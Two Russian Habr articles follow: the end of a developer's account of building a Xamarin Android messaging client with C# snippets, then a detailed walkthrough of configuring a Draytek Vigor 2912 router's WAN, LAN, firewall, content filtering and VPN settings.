string documentsPath= Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); // Documents folder
string libraryPath = Path.Combine(documentsPath, "..", "Library"); // Library folder
#endif
var path = Path.Combine(libraryPath, sqliteFilename);
#endif
return path;
}
}
```
###### **Доступ к файловой системе**
Одна из задач конкурса было получение и хранение картинок. Для решения этой задачи мною был взят и доработан кроссплатформенный класс дискового кэша [отсюда](http://blog.neteril.org/blog/2012/12/17/memory-efficient-bitmap-caching-with-mono-for-android/). Вообще, работа с файловой системой одна из наменее портируемых частей, так как требования к работе с файлами на всех ОС разные. Частично особенности файловых систем описаны в официальных доках Xamarin
##### Talks.Droid
Андройд версия приложения. В идеальном варианте к моменту создания проекта на конкретную платформу у вас может быть полностью рабочий и протестированный бэкэнд. В моем варианте так не получилось, но в дальнейшем я буду к этому стремиться.
Основные сложности начинаются здесь.
В основе приложения лежит Bound Service к которому биндится класс App — синглтон реализующий «приложение». Сделано это для того чтобы любое Activity могло получить доступ к сервису с помощью `App.Current.MainService`.
Внутри сервиса отдельным потоком создается Model, так же присутствует класс с помощью которого Activity забирают свои Presenter'ы, примерно так:
```
_presenter = App.Current.MainService.CreatePresenter(typeof(ChatListPresenter), this);
```
Cледует помнить что Xamarin формирует AndroidManifest самостоятельно и не дает напрямую редактировать его. Все параметры Activity записываются в виде аттрибутов:
```
[Activity(Label = "Settings", Theme = "@style/Theme.TalksTheme")]
[MetaData("android.support.PARENT_ACTIVITY", Value = "talks.ChatListActivity")]
public class SettingsActivity : SherlockActivity, IView
```
В основном код Activity мало чем отличается от java варинта, CamelCase, да некоторые геттеры/сеттеры обернуты в свойства
```
protected override void OnCreate(Bundle bundle)
{
base.OnCreate(bundle);
// Set our view from the "main" layout resource
SetContentView(Resource.Layout.MessagesScreen);
AndroidUtils.SetRobotoFont(this, (ViewGroup)Window.DecorView);
_presenter = App.Current.MainService.CreatePresenter(typeof(MessagePresenter), this);
\_presenter.PlatformSpecificImageResize = AndroidResizeImage;
this.ChatId = Intent.GetIntExtra("userid", 0);
userName = Intent.GetStringExtra("username");
\_button = FindViewById(Resource.Id.bSendMessage);
\_button.Click += button\_Click;
\_button.Enabled = false;
\_message = FindViewById(Resource.Id.etMessageToSend);
\_message.TextChanged += message\_TextChanged;
\_lv = FindViewById(Resource.Id.lvMessages);
\_lv.Adapter = new Adapters.MessagesScreenAdapter(this, this.Messages);
}
```
###### **Login Activity**
Login Activity должно содержать 3 пункта — ввод телефона, получение кода и его ввод, регистрация. Для удобства это сделано с помощью фрагментов.
Проще всего это сделать с помощью фрагментов. Однако, **использование фрагментов и MVP абсолютно неочевидно**!
В итоге я пришел к тому, что сделал один presenter, а LoginActivity просто оборачивал реализации IView фрагментов:
```
PhoneFragment _pf = null;
CodeFragment _cf = null;
SignUpFragment _suf = null;
public string PhoneNumber
{
get
{
if (_pf != null)
{
return _pf.Phone;
}
else
{
return "";
}
}
}
public string AuthCode
{
get { return _cf.Code; }
}
public string Name
{
get { return _suf.FirstName; }
}
public string Surname
{
get { return _suf.Surname; }
}
```
###### **Съемка фото/видео**
Интересный и не очевидный момент. Одной из задач было получение фото/видео с камеры для отправки его собеседнику или установки в качестве аватарки.
Осуществляется это через меню с помощью Xamarin.Mobile.
```
public override bool OnMenuItemSelected(int featureId, Xamarin.ActionbarSherlockBinding.Views.IMenuItem item)
{
switch (item.ItemId)
{
// Respond to the action bar's Up/Home button
case Android.Resource.Id.Home:
NavUtils.NavigateUpFromSameTask(this);
return true;
case Resource.Id.messages_action_takephoto:
_presenter.TakePhoto(this);
return true;
case Resource.Id.messages_action_gallery:
_presenter.PickPhoto(this);
return true;
case Resource.Id.messages_action_video:
_presenter.TakeVideo(this);
return true;
}
return base.OnMenuItemSelected(featureId, item);
}
```
Однако event отвечающий за выбор пункта меню возвращает bool, следовательно мы не можем применить к нему конструкцию async-await. Решается это очень просто, следует помнить что async-await это всего лишь синтаксический сахар который в итоге генерирует все те же Continuation. И ничего не запрещает нам написать это как раньше:
```
#if __ANDROID__
///
/// Взятие фото с камеры
///
///
///
public bool TakePhoto(Android.Content.Context context)
{
var picker = new MediaPicker(context);
#else
public bool TakePhoto()
{
var picker = new MediaPicker();
#endif
if (picker.IsCameraAvailable)
{
picker.TakePhotoAsync(new StoreCameraMediaOptions
{
Name = String.Format("{0:dd_MM_yyyy_HH_mm}.jpg", DateTime.Now),
Directory = "TalksPictures"
})
.ContinueWith((prevTask) =>
{
if (prevTask.IsCanceled)
{
_imv.SendSmallMessage("User canceled");
return;
}
if (PlatformSpecificImageResize != null)
{
string path = PlatformSpecificImageResize(prevTask.Result);
// Создать сообщение
DomainModel.Message msg = new DomainModel.Message(r.Next(Int32.MaxValue), 0, _imv.ChatId, _imv.PendingMessage, "", 0);
_imv.AddMineMessage(msg);
}
})
.ContinueWith((prevTask) =>
{
if (!prevTask.IsCanceled)
{
Console.WriteLine("User ok");
}
}, TaskScheduler.FromCurrentSynchronizationContext());
return true;
}
return false;
}
```
Xamarin помимо кроссплатформенности предлагает Component Store, где находятся порты популярных Android и/или iOS библиотек и компонентов, как бесплатные так и платные. В частности там присутствует ActionBar.Scherlok и недавно появился Android.Support.v7, причем компоненты можно ставить прямо из среды, как в NuGet, что очень удобно
Таким образом в два клика можно получить поддержку ActionBar на устройствах с Android 2.3 и выше.
###### **Публикация**
Публикация приложения осуществляется по утвержденной Google схеме
Это включает довольно много действий. Но специально для нас команда из Xamarin сделала мастер встроенный в VS который позволяет подготовить приложение для публикации в несколько шагов.
и готово
Правда у меня не получилось сразу создать KeyStore с помощью этого мастера. Что то с временем жизни ключа было. Пришлось создавать ручками.
#### Тестирование
Небольшое замечание по тестированию. Тестировать на эмуляторе — это ужасно и невозможно. От этого следует отказаться как можно быстрее. Самый дешевый андройд стоит сейчас 3000 руб, китайский планшет можно найти по схожей цене. Я с началом конкурса сразу купил жене Fly с Android 4.0.1, т.к. у меня был только старый HTC с 2.3.
По поводу тестирования и разработки под iOS сложнее. Конечно лучший вариант — взять самый дешевый макбук, этого будет достаточно.
Но покупать пару iPhone и iPAD для тестирования… не знаю, не самый лучший вариант. Сейчас я рассматриваю возможность [MacInCloud](http://www.macincloud.com/) и если там все будет хорошо, я подробно опишу весь процесс.
#### Итог
Сейчас сложно подводить итог. В процессе разработки я хорошо изучил особенности Android платформы,
разработал хороший, покрытый тестами и, главное, кроссплатформенный бэкэнд.
Говорят, впереди будет конкурс под WinPhone и iPad. Что же, мне остается только нарисовать интерфейсы.
#### Работа над ошибками
«Note to self» как говорится. Просто замечания на будущее что я делал не так.
1. Отсутствие проектирования. Я дважды рефакторил MTProto.Core практически целиком. Причина этого в том что я не сел с бумажкой и не нарисовал полностью как должно это ядро выглядеть. Многие решения принимались спонтанно и без расчета на будущее.
2. Плохое понимание Android платформы. Я долго пытался понять каким образом организовывать взаимодействие с сервисом Android. Признаться, я и теперь не знаю *лучшего* способа обеспечить это взаимодействие. Надо понимать что гайды d.android.com тут бесполезны, сервис штука для андройда специфичная, а нам надо отвязаться от платформы и сделать нечто кроссплатформенное.
3. Упрямость и жадность. У меня была возможность привлечь еще одного программиста и возможно вдвоем мы бы показали более лучший результат. Но ведь я сам, все сам. | https://habr.com/ru/post/194404/ | null | ru | null |
# Обзор маршрутизатора Draytek серии 2912. Часть вторая
В [первой части обзора](https://geektimes.ru/company/digitalangel/blog/276476/) мы подробно рассмотрели маршрутизатор [Draytek](http://draytek-russia.ru) серии 2912/2912n с таких сторон как позиционирование устройства на рынке, схему использования маршрутизатора, его ключевые функции и примеры их использования, ознакомились с подробной технической спецификацией устройства, посмотрели комплектацию и внешний вид маршрутизатора, подробно разобрали функции индикаторов и интерфейсов устройства. Всё увиденное нами, однозначно демонстрирует то, что устройство обладает очень широким возможностями, которые могут понадобиться предприятию уровня SMB/SOHO или небольшому филиалу крупной компании и поэтому устройство имеет огромный потенциал для использования в корпоративных сетях. Нагрузочное тестирование показало неплохие результаты, других результатов я не ожидал, ведь устройство далеко не начального уровня, поэтому обязано быть производительным.
В данной части обзора мы подробно рассмотрим веб-интерфейс устройства, познакомимся с его особенностям и примеру настройки таких функции и интерфейсов как WAN и LAN, Load-balancing, беспроводная сеть, VPN, сетевой экран, NAT управление пропускной способностью, а также функции USB, диагностики и мониторинга маршрутизатора.
Ниже представлена общая схема подключения маршрутизатора.
Рис. 0
По умолчанию, на маршрутизаторе включена открытая беспроводная сеть с именем Draytek и DHCP-сервер, можно подключиться к ней или использовать один из портов LAN.
После подключения к маршрутизатору с ПК и успешного получения IP адреса, из сети 192.168.1.0/24,
откроем его веб-интерфейс, для этого в веб-браузере нужно набрать IP LAN по умолчанию 192.168.1.1,
Username:admin,password:admin. Рекомендую сразу же изменить пароль на более безопасный.
Рис. 1
Мы попадаем в меню Online Status где отображена основная информация об устройстве
Рис. 2
Обращаю внимание что версия прошивки 3.7.8.1\_R предустановлена на маршрутизаторах, поставляемых в Россию, такая прошивка отличается от обычной тем что в ней отсутствует шифрование кроме PPTP протокола, выглядит это так:
Рис. 3
Если этого недостаточно, можно поставить полноценную прошивку, загрузив её с сайта Draytek.com
в разделе *Supports -> Downloads -> Firmware — Vigor2912 Series*.
Я выбрал последнюю 3.8.1.1 и загрузил её, далее, разархивируем её, в веб-интерфейсе маршрутизатора открываем *System Maintenance >> Firmware Upgrade* и указываем файл v2912\_3811.all, затем нажимаем «Upgrade».
Рис. 4
После успешного обновления, перезагрузим маршрутизатор и получим последнюю прошивку без каких-либо ограничений.
Для наглядности, ниже представлено изображение сетевой схемы для маршрутизатора Draytek 2912n, который мы будем рассматривать.
Рис. 4-1
Для подключения к Интернет мы используем два WAN интерфейса с несколькими правилами маршрутизации, в случае аварии на первом канале, трафик автоматически пойдёт через резервный.
Мы используем две подсети: LAN0=192.168.1.0/24 и LAN1=192.168.2.0/24. И три беспроводных сети с SSID: DrayTek, DrayTek\_Guest и DrayTek\_Unencrypted. Они объединены через настройки VLAN с беспроводными сетями. Удалённые клиенты могут подключаться по VPN используя Smart VPN Client и протоколы PPTP и IPSec. Для приложения SmartMonitor включено зеркалирование с LAN портов.
В целом, в независимости от модели маршрутизатора Draytek, структура меню имеет схожую организацию, можно не найти каких-то функций, или обнаружить большее их количество, чем в другой модели или версии встроенного ПО, но структура остаётся неизменной. Слева блок глобальных пунктов меню, структурированных по подсистемам маршрутизатора: Мастера быстрой настройки(Wizards), настройки интерфейсов проводной сети WAN и LAN, затем блок настроек межсетевого экрана (Firewall, Objects Settings, CSM) и управление пользователями (User Management), затем блок настроек специальных приложений маршрутизатора(Applications). Далее блок VPN настроек, за ним меню отвечающее за настройку беспроводной сети(Wireless LAN), отдельное меню для настройки USB-порта(USB Application) и наконец меню сервисных функций(System Maintenance) и меню диагностики маршрутизатора(Diagnostics).
Все пункты структурированы просто и логично, в соответствии с сетевым функциям, без какой-то специфичной и запутанной логики.
Каждый глобальный пункт меню включает один или несколько подпунктов.
Рассмотрим основные пункты меню, так как маршрутизатор имеет конфигурацию, соответствующую сетевой схеме, которая была представлена выше, по ходу рассмотрения новых пунктов меню станет понятно как настроены те или иные сетевые функции.
Меню Wizards
------------
Здесь находятся мастера настроек, позволяющие в несколько кликов настроить основные функции маршрутизатора. Они представляют из себя цепь из нескольких диалоговых окон, в последнем окне выводится листинг всех сделанных настроек и кнопка «Finish» для их применения. Мне показалось, что данные мастера для совсем ленивых администраторов, так как и без них, настройка основных функций на маршрутизаторе не составляет труда.
*Quick Start Wizard* – служит для быстрой настройки подключения WAN 1-3 интерфейсов.
*Service Activation Wizard* – активирует интеллектуальный тематический фильтр сайтов Web Content Filter.
Следующие мастера *VPN Client Wizard и VPN Server Wizard* показались мне интересными, с помощью них легко настроить работу VPN в режимах LAN-to-LAN и Remote Dial-in User, активировать сервис и прописать пользователей. Ниже, пример из 3х шагов, чтобы добавить и актировать VPN пользователя.
Мы выбрали PPTP, дальше нужно выполнить настройки на стороне клиента, мы будем использовать Draytek Smart VPN клиент. Вернёмся к настройкам VPN в меню *VPN and Remote Access*.
Рис. 5
Рис. 6
Рис. 7
Мастер *Wireless Wizard* служит для первичной настройки беспроводной сети. Ниже финальное окно в завершении работы мастера.
Рис. 8
За пару кликов беспроводная сеть настроена.
Меню Online Status
------------------
Следующий пункт меню содержит два подпункта: первый *Physical Connection* – показывает физический статус интерфейсов LAN, WAN 1-3 и счётчики канального уровня, тоже самое, но только для виртуальный интерфейсов можно увидеть в меню *Virtual WAN*.
Рис. 9
Более подробную информацию о статусе системы можно посмотреть в *System Maintenance -> System Status*.
Меню WAN
--------
В данном меню выполняются все настройки связанные с подключением маршрутизатора к Интернет провайдерам. В нашем примере активны WAN 1 и 2
Рис. 10-1
Настройка *Load balance mode* доступна при одновременном использовании двух или трех WAN интерфейсов. Мы используем режим, Auto Weigh, в этом режиме маршрутизатор автоматически распределяет нагрузку. Интерфейс WAN 3 может быть использован при подключении 3/4G модема.
Ниже детальная настройка WAN 2 интерфейса, мы используем режим балансировки нагрузки.
Рис. 10-2
В подменю *Internet Access* настраиваются непосредственно интерфейсы.
Рис. 10-3
Переходим на *Detalils Page WAN 2*, здесь находятся настройки режима подключения, мы используем статический IP, на первом интерфейсе работает DHCP-клиент. Кроме использованных нами способов, можно подключиться к Интернет используя протоколы PPTP/L2TP или PPPoE, также IPv6.
Рис. 11
Подменю *Multi-VLAN* позволяет администратору создать профили для определенного физического WAN 1-2 интерфейса и создать мост с интерфейсами LAN локальной сети, для достижения максимальной пропускной способности.
Рис. 12
То есть, на базе физического интерфейса WAN 1-2 мы создаём дополнительный виртуальный WAN 5-7 в указанном нами VLAN и «бриджуем» его с нужными LAN портами 1-3(4 порт может работать только в режиме NAT), опционально, можем назначить виртуальному интерфейсу WAN 5-7 IP адрес вручную или получать по DHCP, то есть сделать его L3. В качестве примера, можно привести проброс трафика IPTV с WAN на LAN.
Меню LAN
--------
Пункт отвечает за настройку локальной сети и содержит ряд подпунктов. Маршрутизатор поддерживает два независимых LAN сегмента со своими настройками, по умолчанию это 192.168.1.1/24 и 192.168.2.1/24, также можно добавить одну маршрутизируемую сеть. В обоих сегментах включен DHCP который выдаёт IP-адреса подключающимся терминалам пользователей. Кстати, DHCP-сервер можно настроить на передачу любых дополнительный DHCP-опций, это очень удобно если в сети есть специализированные сервисы, например, TFTP-сервер.
Рис. 13
Дополнительно, можно разрешить или запретить маршрутизацию между LAN 1 и 2 в разделе Inter-LAN Routing
В следующем подменю *LAN >> Static Route Setup* можно добавить до 10 статических маршрутов в другие сети за IP-адресами в подсетях LAN 1-2.
Подменю *LAN >> VLAN Configuration* позволяет объединить в один VLAN указанные порты LAN P2-4(P1 выполняет функцию WAN2 в нашем примере) с беспроводными сетями SSID 1-4 и опционально добавить метки VLAN с приоритетами. При включении VLAN Tag трафик с метками, указанными в поле VID, появится на соответствующих портах LAN, по беспроводным сетям теги не передаются. В нашем примере два независимых VLAN. В VLAN0 входят LAN порты P 2-4 и беспроводная сеть с SSID1 – всё это находится в LAN 1 сегменте. В VLAN1 входят беспроводные сети с SSID2 и SSID3 – всё это находится в LAN 2 сегменте.
Рис. 14
Маршрутизатор может работать в режиме создания не тегированных VLAN на базе портов, или VLAN на основе меток VID.
Следующий пункт подменю *LAN >> Bind IP to MAC*. Позволяет создавать списки с соответствиями MAC-адреса и IP-адреса, если функция разрешена все назначенные IP-адреса на MAC-адреса не могут быть изменены. Созданные листы можно сохранять в файл и восстанавливать в конфигурацию маршрутизатора из предварительно сохраненного файла.
В меню *LAN >> LAN Port Mirror* можно включить копирование всего трафика с указанных LAN Mirrored port на принимающий Mirror port. Эта функция полезна для отладки сети при помощи сниффера или при использовании приложения для мониторинга и анализа сетевой активности Draytek Smart Monitor, информацию об этом приложении можно найти в первой части данного обзора.
Рис. 15
Подменю *LAN >> Web Portal Setup* позволяет определить профили, которые назначаются на интерфейсы LAN или WLAN-беспроводной сети и указать в них URL-ссылку сайта для автоматической переадресации пользователя при первой попытке открыть веб-страницу, после подключения через указанный в профиле интерфейс, например, SSID1.
Рис. 16
Это функция используется в рекламных целях или для уведомления пользователя, который подключается к Интернету при через сеть определенной компании.
В примере, при попытке впервые открыть любую веб-страницу пользователь будет переадресован на сайт [www.ucexpert.ru](http://www.ucexpert.ru), где в верхней части экрана будет сообщение с предложением пользователю нажать кнопку «Continue» для продолжения веб-сессии и перехода на нужный сайт.
Ниже приведен пример тпеоц страницы.
Рис. 17
Меню Load-Balance/Route Policy
------------------------------
Данный пункт меню содержит подпункт *General Setup* – непосредственную настройку правил балансировки нагрузки и политик маршрутизации и *Diagnose* – подпункт для отладки настроенных правил, где можно имитировать маршрут прохождения одного или нескольких пакетов через таблицу настроенных правил и проверить результат.
Рис. 18
В примере пакеты, уходящие с любых IP адресов LAN маршрутизатора на IP 8.8.8.8 пройдут через WAN1, аналогично работает второе правило, только для IP назначения 8.8.4.4 и пакеты пройдут уже через WAN2. В третьем правиле указывается целая подсеть, в четвёртом правиле указывается что весь трафик нужно посылать через WAN1, в случае отказа WAN1, посылать на WAN2. Каждое правило имеет приоритет, чем он ниже, тем раньше выполняется правило.
На следующем изображении представлены критерии, по которым можно задать правило, их довольно много, также можно определить куда посылать пакет, если правило не сработало.
Рис. 19
На следующем рисунке представлена диагностика маршрута.
Рис. 20
Меню NAT
--------
В меню настраиваются функции адресной трансляции NAT (Network Address Translation), оно содержит подменю *Port Redirection* – перенаправление портов с порта указанного интерфейса WAN на IP-адрес и порт в сети LAN, это может быть необходимо для FTP-серверов, почтовых серверов и т.д.
Подменю *DMZ Host* позволяет задать по одному DMZ хосту в локальной сети LAN на каждый из WAN интерфейсов.
Подменю *Open Ports* позволяют держать открытыми указанные диапазоны портов для специальных приложений, например, P2P, и направлять их на определенные IP-адреса в LAN.
Рис. 21
*Port Triggering* это вариация *Open Ports*. Если после активации правила Open Ports, указанные порты постоянно открыты, то при применения правила Port Triggering, указанные порты будут открываться только когда условия правил совпадут, затем по таймауту порты снова закроются.
Работа функции в соответствующем пункте подменю задается набором правил.
Меню Firewall
-------------
В данном меню настраиваются глобальные правила работы межсетевого экрана, задаются наборы и порядок правил проверки трафика, также указываются правила фильтрации трафика по умолчанию.
Межсетевой экран можно условно разделить на 3 подсистемы:
1. Настраиваемый пользователем IP-фильтр на основе наборов правил Call Filter/ Data Filter
2. Фильтр Stateful Packet Inspection (SPI)
3. Защита от атак Denial of Service (DoS) /Distributed DoS (DDoS)
В архитектуре межсетевого экрана используется два независимых набора правил Call Filter и Data Filter.
Набор правил Call Filter применяется для трафика, направляющегося из локальной сети в WAN, когда нет активного Интернет-соединения (WAN-интерфейс не активен) и перед установлением соединения трафик проходит через правила Call Filter, если пакеты не блокируются, соединение устанавливается.
При активном состоянии WAN-интерфейса, все пакеты сразу же попадают в набор правил Data Filter, туда же попадает и весь входящий на WAN-интерфейсы трафик.
Рис. 22
В правилах работы межсетевого экрана могут указываться объекты (определенные через меню Objects Settings), такие, как IP-адреса или группы IP-адресов, протокол и диапазон портов и их группы, ключевые слова и группы ключевых слов, профили расширений файлов, пользователи (определенные в меню User Management) и наконец, в меню CSM (Content Security Management), определить приложения, например, Skype, URL-адреса и даже тематика тех или иных сайтов при помощи системы Web Content Filter.
То есть, мы можем работать с трафиком начиная с сетевого уровня и заканчивая уровнем приложений, плюс использовать систему Web Content Filter для интеллектуальной обработки трафика по тематике веб-контента, то есть создавать очень широкие правила.
Ниже представлены глобальные настройки в подменю *Firewall >> General Setup*, далее, подменю *Firewall >> Filter Setup*, иллюстрирующее наборы правил межсетевого экрана, подменю *Firewall >> Filter Setup >> Edit Filter Set*, иллюстрирующее состав конкретного набора правил.
Рис. 23
Теперь рассмотрим конкретное правило в из таблицы под названием block-social
Рис. 24
Во-первых, в Schedule можно указать расписание, когда правило будет работать, например, блокировать социальные сети с 9-30 до 18-00 с понедельника по пятницу. Далее, указываем направление проверки трафика в поле Direction, входящие и исходящие IP-адреса любые, тип сервиса может задаваться конкретным объектом в меню *Objects Setting >> Service Type Object*, а может набором объектов, и представляет из себя связку типа протокола + порт или диапазон портов.
Далее, в поле Filter указываем критерий «Pass If No Further Match» — пакеты нужно пропускать, если ни один из критериев в оставшихся правилах не совпадёт. Если пользователь обратится к социальной сети, например, ok.ru, критерий совпадёт и пакет будет заблокирован. Критерий в данном примере — это профиль в URL Content Filter, который содержит объект – группу включающую ключевые слова – адреса социальных сетей.
Ниже, я проиллюстрирую настройки, когда мы дойдём до них. Таким же образом, в правиле включаются и другие критерии, то есть в правилах межсетевого фильтра можно добавлять критерии как на сетевом уровне, так и на уровне приложений, более того, можно включить Web Content Filter который работает ещё выше – на уровне тематики веб-контента.
Подменю *DoS Defense*. В маршрутизаторе реализованы детектирование и автоматическая защита от DoS атак, причём метрики порога интенсивности трафика, после которого событие считается атакой могут настраиваться вручную. Также предусмотрено отправка уведомлений об атаке.
Меню User Management
--------------------
Межсетевой экран может работать в одном из двух глобальных режимов:
**Rule-Based**, то есть базирующийся на правилах, где объекты, например, IP-адреса станций пользователей. Администратор устанавливает правила на основании различных IP-адресов.
**User-Based**, то есть управление осуществляется на основании профилей пользователей. Администратор устанавливает правила на различные профили пользователей или их группы. Перед этим пользователи должны авторизоваться. После авторизации системе создаётся соответствие между именем пользователя и IP адресом, с которым он авторизовался.
Ниже представлены *подменю User Management >> General Setup,* где происходит переключение между работой с IP-адресами или работой с профилями пользователя.
Если с работой по IP-адресам всё понятно: администратор присваивает IP-адрес терминалу пользователя, который не должен меняться и назначает правила для IP-адреса.
Как только мы переключаемся в режим User-Based, пользователь должен авторизоваться, до этого момента он не сможет работать в сети, а при открытии браузера и попытки зайти на любой сайт он будет переадресован на страницу авторизации. Чтобы авторизоваться, профиль пользователя с соответствующими правами должен содержаться в таблице User Management >> User Profile.
Рис. 25
В примере есть профиль пользователя Игнат Кудрявцев, откроем профиль данного пользователя
Рис. 26
Как видно, здесь можно установить таймаут на автоматический логаут в случае простоя, и ограничение на одновременное число логинов, включить внешнюю аутентификацию по протоколам LDAP или RADIUS. Также можно установить квоты на время и объём трафика, потребляемые пользователем.
Landing Page — это страница которую увидит пользователь после успешной авторизации. Можно выводить просто сообщение, как в нашем примере: «Login Success!», а можно делать переадресацию на любой веб-сайт, например, сайт компании. Для этого в настройках Landing page нужно написать строку вида:
```
window.location='<a href="http://www.draytek.com/">http://www.draytek.com</a>'
```
Все настройки подробно описаны в руководстве пользователя.
При открытии веб-браузера и попытке зайти на любой сайт, пользователь будет переадресован на страницу авторизации, после успешной авторизации появится сообщение «Login Success!» и пользователь сможет работать в сети.
Рис. 27
В подменю *User Group* пользователей можно группировать, чтобы затем назначать группам пользователей одинаковые правила, например, по отделам компании. Подменю *User Online Status* служит для просмотра статуса пользователей.
Меню Objects Setting
--------------------
Маршрутизаторы серии Draytek 2912 поддерживают межсетевой экран с невидимой проверкой пакетов SPI (Stateful Packet Inspection) базирующийся на объектах (Object-based), таких как: пользователь (при авторизации он получает определенный IP), IP-адреса или группы IP-адресов, протокол и диапазон портов и их группы, ключевые слова и группы ключевых слов, профили расширений файлов. Эти объекты могут быть использованы для создания правил межсетевого экрана, которые можно включать и отключать по расписанию.
В меню Objects Setting создаются и группируются различные типы объектов.
В подменю *IP Object* создаются объекты на основе хоста, диапазона IP-адресов или подсети, также можно использовать конкретный MAC-адрес для любого IP-адреса. В подменю IP Group из IP объектов создаются группы, которые затем можно использовать для создания правил межсетевого экрана.
Тоже самое для *IPv6 Object и IPv6 Group* с IP адресацией IPv6.
В подменю *Service Type Object и Service Type Group* создаются и группируются объекты на основе типа протокола, портов источника и назначения.
Рис. 28
В подменю *Keyword Object и Keyword Group* создаются и группируются объекты на основе ключевых слов, затем эти объекты могут быть использованы для создания правил фильтрации, например, для URL Content Filter Profile и DNS Filter Profile в подсистеме CSM. В нашем примере мы блокируем социальные сети vk.com twitter.com facebook.com и ok.ru, для этого создали два профиля с именами social-nets и social-ok.ru содержащие данные ключевые слова и добавили их в группу social-nets-gro подменю *Objects Setting >> Keyword Group*. Далее, мы используем эту группу в *CSM >> URL Content Filter Profile*.
Рис. 29
В подменю *File Extension Object* создаются профили расширений, файлов которые могут распознаваться и применяться в правилах межсетевого экрана. Таким образом, например, можно запретить загрузку всех сжатых файлов или видео файлов с указанными расширениями. В примере запрещена загрузка любых изображений. Созданный профиль с названием blk-img затем будет использован в профиле *CSM >> URL Content Filter Profile*. Мы увидим это в примере ниже.
Рис. 30
Подменю *SMS/Mail Service Object и Notification Object* позволяют настроить до 10 профилей уведомлении для сервиса *Application>>SMS/Mail Alert Service*.
Меню CSM
--------
Система безопасности содержимого CSM (Content Security Management), это подсистема межсетевого экрана, работающая на прикладном уровне, позволяется блокировать URL ссылки по ключевым словам и по типу содержимого, например, Java Applet, Cookies, Active X, также можно блокировать различные сетевые приложения, например, IM/P2P или по протоколам прикладного уровня, например, MySQL, SMB, SSH, UltraVPN, список сервисов и протоколов довольно внушительный. Имеется возможность блокировки DNS по ключевым словам.
В подменю *APP Enforcement Profile* создаются профили для фильтрации сетевых приложении которые могут использовать динамически меняющиеся порты и каждое такое приложение имеет свою специфику, например, Skype.
Рис. 31
В примере настроек правила межсетевого экрана таблицы Data Filter, который был приведён выше, указано данное правило.
Подменю *URL Content Filter Profile* отвечает за фильтрацию веб-контента. Здесь указываются ранее созданные объекты *Group/Object Keyword* и разрешается функции *URL Access Control*, тогда в каждом адресе веб-сайта будет вестись поиск по ключевым словам. В нашем примере мы добавили ранее в созданную группу social-nets-gro содержащую ключевые слова с веб-адресами социальных сетей.
В разделе *Web Feature* можно включить блокировку Cookie, Proxy и загрузки файлов с указанными в профиле *File Extension Profile*, в примере ранее, мы создали профиль 1-blk-img.
Созданный профиль social назначается в правиле межсетевого экрана в поле URL Content Filter.
Рис. 32
Когда правило сработает при попытке открыть, например, vk.com, пользователь увидит сообщение из поля *Administration Message,* пример содержимого такого поля приведен на предыдущем изображении.
Рис. 33
Подменю *Web Content Filter Profile*. Ещё один мощный инструмент CSM — система GlobalView Web Content Filter. Предназначена для фильтрации нежелательного контента на тематическом уровне, то есть, например, сайты с тематикой порно, криминал, азартные игры и прочее. Администратор создаёт профили, где указывает тематику сайтов и назначает их в правила межсетевого экрана, затем указывает что делать при совпадении правила, например, заблокировать. Web Content Filter лицензируется, но пробную лицензию для тестирования можно получить бесплатно.
Ниже представлена настройка профиля по категориями:
Рис. 34
Подсистема *DNS Filter Profile* проверят и блокирует DNS запросы на 53 порт UDP в соответствии с назначенным профилем URL Content Filter Profile или Web Content Filter Profile. Также можно кастомизировать сообщение, которое будет выводиться пользователю при блокировке ресурса.
Меню Bandwidth Management
-------------------------
Подменю *Bandwidth Management >> Sessions Limit* служит для ограничения количества NAT с сессий с IP-адресов LAN, которые могут быть одновременно установлены. Например, P2P (Peer to Peer) приложениям обычно требуется множество одновременных сессий, и они потребляют много сетевых ресурсов. Также можно ограничить число сессий по умолчанию с любого IP.
В подменю *Bandwidth Management >> Bandwidth Limit* устанавливаются ограничения на утилизацию полосы пропускания для хостов и диапазонов IP-адресов. Причем, работа правил может настраиваться по расписанию, можно отдельно ограничить полосу для входящего и исходящего трафика.
В подменю *Bandwidth Management >> Quality of Service* настраивается качество обслуживания трафика. Сначала трафик при помощи правил классифицируется по критериям таким как IP источника и назначения, тип сервиса и код DiffServ. Затем, каждому классу трафика резервируется свой процент общей полосы пропускания указанного интерфейса.
Рис. 35
Кстати приоритезация для VoIP трафика по умолчанию приоритезируется.
Меню Applicatons
----------------
Данное меню содержит настройки служебных приложений, которые помогают выполнить тонкую настройку отдельных функций.
Например, в подменю Schedule, настраиваются профили расписания, которые используются в различных настройках функций и правил маршрутизатора, всего в расписании можно создать до 15 записей.
Рис. 36
В меню *LAN DNS* можно указать соответствие IP адреса и доменного имени в локальной сети. В меню *RADIUS и Active Directory /LDAP* можно опционально включить авторизацию пользователей на соответствующих названиям подменю серверах. В подменю *IGMP* можно разрешить IGMP проксирование или IGMP snooping для мульткаст трафика, например, IP TV.
Меню VPN and Remote Access
--------------------------
Маршрутизатор поддерживает до 16 VPN\* туннелей типа LAN-to-LAN для создания безопасного подключения между сетями организации или создания VPN-подключения с удалённых рабочих мест надомных сотрудников, используя протоколы PPTP/IPSec/L2P/L2TPover IPSec. Шифрование AES/DES/3DES и возможность IKE аутентификации обеспечивают повышенную надёжность. Использование сдвоенного WAN соединения позволяет использовать не только схему балансировки нагрузки, но и резервирования. Поэтому, если основной канал VPN канал станет недоступным, его заменит резервный VPN канал.
Кстати функции VPN в Draytek настраиваются очень просто. Буквально за пару кликов можно настроить как соединения типа LAN-to-LAN, так и доступ с удалённых рабочих мест. У Dryatek есть свой VPN-клиент для упрощения подключения рабочих мест, называется он Draytek Smart VPN Client, приложение бесплатно доступно для скачивания на сайте draytek.com
*\*В официальных поставках маршрутизаторов на территорию РФ удалены все программные средства шифрования, не соответствующие ГОСТами, поэтому в такой прошивке есть только поддержка PPTP без шифрования. Это можно исправить путём установки штатного ПО, которое можно скачать с сайта draytek.com.*
В подменю *Remote Access Control Setup* включаются протоколы VPN на глобальном уровне, в подменю *IPsec General Setup* указывается Pre-Shared Key для метода IKE Authentication, указываются методы шифрования. Например, укажем ключ draytek.commmmm
Рис. 37
В подменю *Remote Dial-in User* указываются пользователи которые могут подключаться по VPN со своих удалённых мест к локальной сети LAN маршутизатора.
Рис. 38
В списке *Status*, видно, что пользователь ignat в статусе «онлайн», так как помечен зелёным цветом. В примере ниже, пользователь ignat подключается по PPTP, второй пользователь будет подключаться через туннель IPSec по преднастроенному выше preshared key= draytek.commmmm.
Рис. 39
Для подключения со стороны клиента я использовал Draytek Smart VPN Client, он устанавливается и настраивается в два клика.
Ниже пример для PPTP.
Рис. 40
